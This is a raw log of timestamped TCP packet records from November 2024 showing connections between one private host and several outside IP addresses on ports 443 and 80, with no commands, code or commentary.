Nov 21, 2024 22:04:46.501590967 CET	443	49806	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:46.503865004 CET	49807	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:46.503878117 CET	443	49807	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:46.504255056 CET	49808	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:46.504273891 CET	443	49808	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:46.505459070 CET	49809	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:46.505486012 CET	443	49809	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:46.505816936 CET	49809	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:46.506042957 CET	49809	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:46.506057024 CET	443	49809	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:46.969459057 CET	49811	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:46.969512939 CET	443	49811	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:46.969737053 CET	49811	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:46.972181082 CET	49811	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:46.972199917 CET	443	49811	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:47.126465082 CET	443	49794	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:47.126594067 CET	443	49794	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:47.126646996 CET	49794	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:47.154443026 CET	49794	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:47.154443026 CET	49794	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:47.154467106 CET	443	49794	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:47.154479980 CET	443	49794	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:47.205101013 CET	80	49778	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:47.205343962 CET	49778	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:47.321043015 CET	443	49805	94.245.104.56	192.168.2.7
Nov 21, 2024 22:04:47.327675104 CET	49805	443	192.168.2.7	94.245.104.56
Nov 21, 2024 22:04:47.327683926 CET	443	49805	94.245.104.56	192.168.2.7
Nov 21, 2024 22:04:47.328999043 CET	443	49805	94.245.104.56	192.168.2.7
Nov 21, 2024 22:04:47.329062939 CET	49805	443	192.168.2.7	94.245.104.56
Nov 21, 2024 22:04:47.331481934 CET	49805	443	192.168.2.7	94.245.104.56
Nov 21, 2024 22:04:47.331554890 CET	443	49805	94.245.104.56	192.168.2.7
Nov 21, 2024 22:04:47.332098007 CET	49805	443	192.168.2.7	94.245.104.56
Nov 21, 2024 22:04:47.332107067 CET	443	49805	94.245.104.56	192.168.2.7
Nov 21, 2024 22:04:47.382110119 CET	49812	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:47.382155895 CET	443	49812	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:47.382262945 CET	49812	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:47.415075064 CET	49805	443	192.168.2.7	94.245.104.56
Nov 21, 2024 22:04:47.425554991 CET	49812	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:47.425574064 CET	443	49812	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:47.828962088 CET	443	49805	94.245.104.56	192.168.2.7
Nov 21, 2024 22:04:47.829046965 CET	443	49805	94.245.104.56	192.168.2.7
Nov 21, 2024 22:04:47.829132080 CET	49805	443	192.168.2.7	94.245.104.56
Nov 21, 2024 22:04:48.458601952 CET	443	49807	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.463260889 CET	443	49808	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.522159100 CET	443	49809	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.523575068 CET	49808	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:48.537091970 CET	49805	443	192.168.2.7	94.245.104.56
Nov 21, 2024 22:04:48.537107944 CET	443	49805	94.245.104.56	192.168.2.7
Nov 21, 2024 22:04:48.540908098 CET	49807	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:48.540946007 CET	443	49807	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.543093920 CET	49807	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:48.543118000 CET	443	49807	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.544769049 CET	49808	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:48.544791937 CET	443	49808	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.545284986 CET	49808	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:48.545290947 CET	443	49808	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.549645901 CET	49809	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:48.549665928 CET	443	49809	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.550435066 CET	49809	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:48.550445080 CET	443	49809	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.625946045 CET	443	49806	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.676521063 CET	49806	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:48.676539898 CET	443	49806	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.677382946 CET	49806	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:48.677388906 CET	443	49806	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.740415096 CET	49817	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:48.740466118 CET	443	49817	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:48.740560055 CET	49817	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:48.740859985 CET	49817	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:48.740870953 CET	443	49817	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:48.746359110 CET	49778	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:48.751238108 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:48.821815968 CET	443	49811	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:48.821902037 CET	49811	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:48.865868092 CET	80	49778	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:48.871006012 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:48.871109962 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:48.879148960 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:48.879204988 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:48.912748098 CET	49811	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:48.912786961 CET	443	49811	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:48.913796902 CET	443	49811	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:48.914314032 CET	443	49808	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.914387941 CET	443	49808	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.914439917 CET	49808	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:48.915136099 CET	49808	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:48.915149927 CET	443	49808	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.918049097 CET	49811	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:48.918112040 CET	49811	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:48.918127060 CET	443	49811	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:48.922811985 CET	49820	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:48.922832012 CET	443	49820	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.922925949 CET	49820	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:48.923844099 CET	49820	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:48.923851967 CET	443	49820	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.932651043 CET	443	49807	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.932724953 CET	443	49807	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.932806969 CET	49807	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:48.937186956 CET	49807	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:48.937210083 CET	443	49807	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.937222004 CET	49807	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:48.937228918 CET	443	49807	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.942718029 CET	49821	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:48.942780018 CET	443	49821	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.942874908 CET	49821	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:48.943336964 CET	49821	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:48.943351030 CET	443	49821	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.974596024 CET	443	49809	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.974685907 CET	443	49809	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.974745035 CET	49809	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:48.975255966 CET	49809	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:48.975277901 CET	443	49809	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.975290060 CET	49809	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:48.975295067 CET	443	49809	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.988234997 CET	49822	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:48.988260031 CET	443	49822	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.988354921 CET	49822	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:48.988656998 CET	49822	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:48.988666058 CET	443	49822	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:48.998616934 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:48.998640060 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:48.998877048 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:48.998899937 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:49.078811884 CET	443	49806	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:49.078887939 CET	443	49806	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:49.078958988 CET	49806	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:49.079180002 CET	49806	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:49.079180002 CET	49806	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:49.079204082 CET	443	49806	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:49.079214096 CET	443	49806	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:49.083506107 CET	49824	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:49.083532095 CET	443	49824	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:49.083591938 CET	49824	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:49.083751917 CET	49824	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:49.083759069 CET	443	49824	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:49.138016939 CET	49825	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:49.138071060 CET	443	49825	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:49.138156891 CET	49825	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:49.138376951 CET	49825	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:49.138392925 CET	443	49825	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:49.139879942 CET	49826	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:49.139925957 CET	443	49826	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:49.140073061 CET	49826	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:49.140489101 CET	49826	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:49.140503883 CET	443	49826	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:49.146630049 CET	49827	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:49.146682024 CET	443	49827	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:49.146743059 CET	49827	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:49.147351980 CET	49827	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:49.147370100 CET	443	49827	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:49.420912981 CET	49837	443	192.168.2.7	18.165.220.110
Nov 21, 2024 22:04:49.420948029 CET	443	49837	18.165.220.110	192.168.2.7
Nov 21, 2024 22:04:49.421030998 CET	49837	443	192.168.2.7	18.165.220.110
Nov 21, 2024 22:04:49.421318054 CET	49837	443	192.168.2.7	18.165.220.110
Nov 21, 2024 22:04:49.421328068 CET	443	49837	18.165.220.110	192.168.2.7
Nov 21, 2024 22:04:49.605668068 CET	443	49811	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:49.605742931 CET	443	49811	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:49.606017113 CET	49811	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:49.610744953 CET	49811	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:49.610774994 CET	443	49811	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:49.610789061 CET	49811	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:49.610795975 CET	443	49811	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:49.705868006 CET	49843	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:49.705914021 CET	443	49843	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:49.705996990 CET	49843	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:49.706403017 CET	49843	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:49.706413031 CET	443	49843	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:49.804963112 CET	49844	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:49.804995060 CET	443	49844	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:49.805116892 CET	49844	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:49.815881968 CET	49844	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:49.815905094 CET	443	49844	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:49.852917910 CET	49845	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:49.852958918 CET	443	49845	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:49.853087902 CET	49845	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:49.853512049 CET	49845	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:49.853526115 CET	443	49845	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:49.932693005 CET	443	49812	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:49.961020947 CET	49846	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:49.961041927 CET	443	49846	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:49.961288929 CET	49846	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:49.962022066 CET	49847	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:49.962064028 CET	443	49847	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:49.962198973 CET	49847	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:49.962363958 CET	49846	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:49.962376118 CET	443	49846	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:49.964997053 CET	49847	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:49.965018988 CET	443	49847	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:49.966005087 CET	49812	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:49.966034889 CET	443	49812	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:49.966538906 CET	49812	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:49.966546059 CET	443	49812	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:50.224833012 CET	49825	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:50.225001097 CET	49847	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:50.225641012 CET	49848	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:50.225682974 CET	443	49848	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:50.225801945 CET	49849	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:50.225831985 CET	443	49849	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:50.225887060 CET	49848	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:50.226031065 CET	49849	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:50.226741076 CET	49826	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:50.226818085 CET	49845	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:50.226964951 CET	49817	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:50.227637053 CET	49837	443	192.168.2.7	18.165.220.110
Nov 21, 2024 22:04:50.228463888 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:50.228497028 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:50.228660107 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:50.229347944 CET	49856	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:50.229376078 CET	443	49856	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:50.229438066 CET	49856	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:50.230195045 CET	49857	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:50.230221987 CET	443	49857	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:50.230412006 CET	49827	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:50.230745077 CET	49861	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:50.230762005 CET	443	49861	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:50.230818033 CET	49861	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:50.230916023 CET	49862	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:50.230930090 CET	443	49862	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:50.230966091 CET	49862	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:50.231309891 CET	49862	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:50.231326103 CET	443	49862	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:50.231426001 CET	49861	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:50.231440067 CET	443	49861	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:50.231637001 CET	49846	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:50.232376099 CET	49856	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:50.232403040 CET	443	49856	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:50.232471943 CET	49851	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:50.232489109 CET	443	49851	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:50.232547998 CET	49857	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:50.232547998 CET	49857	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:50.232580900 CET	443	49857	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:50.238970041 CET	49849	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:50.238993883 CET	443	49849	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:50.239077091 CET	49848	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:50.239099026 CET	443	49848	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:50.267328024 CET	443	49825	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:50.267329931 CET	443	49826	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:50.267333031 CET	443	49817	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:50.267337084 CET	443	49845	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:50.267364979 CET	443	49847	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:50.271363974 CET	443	49837	18.165.220.110	192.168.2.7
Nov 21, 2024 22:04:50.275321007 CET	443	49827	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:50.279320955 CET	443	49846	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:50.387499094 CET	443	49812	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:50.387578964 CET	443	49812	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:50.387866974 CET	49812	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:50.387904882 CET	49812	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:50.387921095 CET	443	49812	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:50.387962103 CET	49812	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:50.387967110 CET	443	49812	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:50.391252995 CET	49863	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:50.391288996 CET	443	49863	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:50.391386032 CET	49863	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:50.391603947 CET	49863	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:50.391614914 CET	443	49863	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:50.399339914 CET	443	49826	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:50.399415016 CET	49826	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:50.400353909 CET	443	49827	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:50.400444031 CET	49827	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:50.403048992 CET	443	49825	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:50.403168917 CET	443	49825	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:50.403238058 CET	49825	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:50.403250933 CET	49825	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:50.659715891 CET	443	49821	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:50.660465002 CET	49821	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:50.660485029 CET	443	49821	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:50.660664082 CET	49821	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:50.660670996 CET	443	49821	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:50.727214098 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:50.727283955 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:50.752270937 CET	443	49817	172.217.19.225	192.168.2.7
Nov 21, 2024 22:04:50.752401114 CET	49817	443	192.168.2.7	172.217.19.225
Nov 21, 2024 22:04:50.770472050 CET	443	49820	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:50.774593115 CET	49820	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:50.774612904 CET	443	49820	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:50.775654078 CET	49820	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:50.775659084 CET	443	49820	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:50.791786909 CET	443	49822	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:50.794075966 CET	49822	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:50.794095039 CET	443	49822	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:50.794776917 CET	49822	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:50.794785023 CET	443	49822	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:50.857642889 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:50.871603012 CET	443	49824	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:50.872149944 CET	49824	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:50.872165918 CET	443	49824	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:50.872718096 CET	49824	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:50.872725010 CET	443	49824	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:50.977372885 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:51.105102062 CET	443	49821	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:51.105165958 CET	443	49821	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:51.105236053 CET	49821	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:51.105441093 CET	49821	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:51.105458021 CET	443	49821	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:51.105537891 CET	49821	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:51.105544090 CET	443	49821	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:51.108655930 CET	49864	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:51.108664989 CET	443	49864	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:51.108747959 CET	49864	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:51.108935118 CET	49864	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:51.108943939 CET	443	49864	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:51.124655008 CET	49865	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.124687910 CET	443	49865	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.124753952 CET	49865	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.124969959 CET	49865	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.124978065 CET	443	49865	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.155407906 CET	443	49845	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.155488968 CET	49845	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.172045946 CET	443	49846	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.172132015 CET	49846	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.175710917 CET	443	49847	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:51.175766945 CET	49847	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:51.227457047 CET	443	49820	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:51.227528095 CET	443	49820	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:51.227747917 CET	49820	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:51.227802992 CET	49820	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:51.227802992 CET	49820	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:51.227821112 CET	443	49820	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:51.227833033 CET	443	49820	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:51.231409073 CET	49867	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:51.231441021 CET	443	49867	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:51.231540918 CET	49867	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:51.231713057 CET	49867	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:51.231718063 CET	443	49867	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:51.237747908 CET	443	49822	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:51.237806082 CET	443	49822	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:51.237848997 CET	49822	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:51.238029957 CET	49822	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:51.238029957 CET	49822	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:51.238034964 CET	443	49822	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:51.238042116 CET	443	49822	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:51.240504980 CET	49868	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:51.240536928 CET	443	49868	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:51.240823030 CET	49868	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:51.240988970 CET	49868	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:51.240995884 CET	443	49868	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:51.287833929 CET	443	49837	18.165.220.110	192.168.2.7
Nov 21, 2024 22:04:51.287960052 CET	443	49837	18.165.220.110	192.168.2.7
Nov 21, 2024 22:04:51.288017988 CET	49837	443	192.168.2.7	18.165.220.110
Nov 21, 2024 22:04:51.288038015 CET	49837	443	192.168.2.7	18.165.220.110
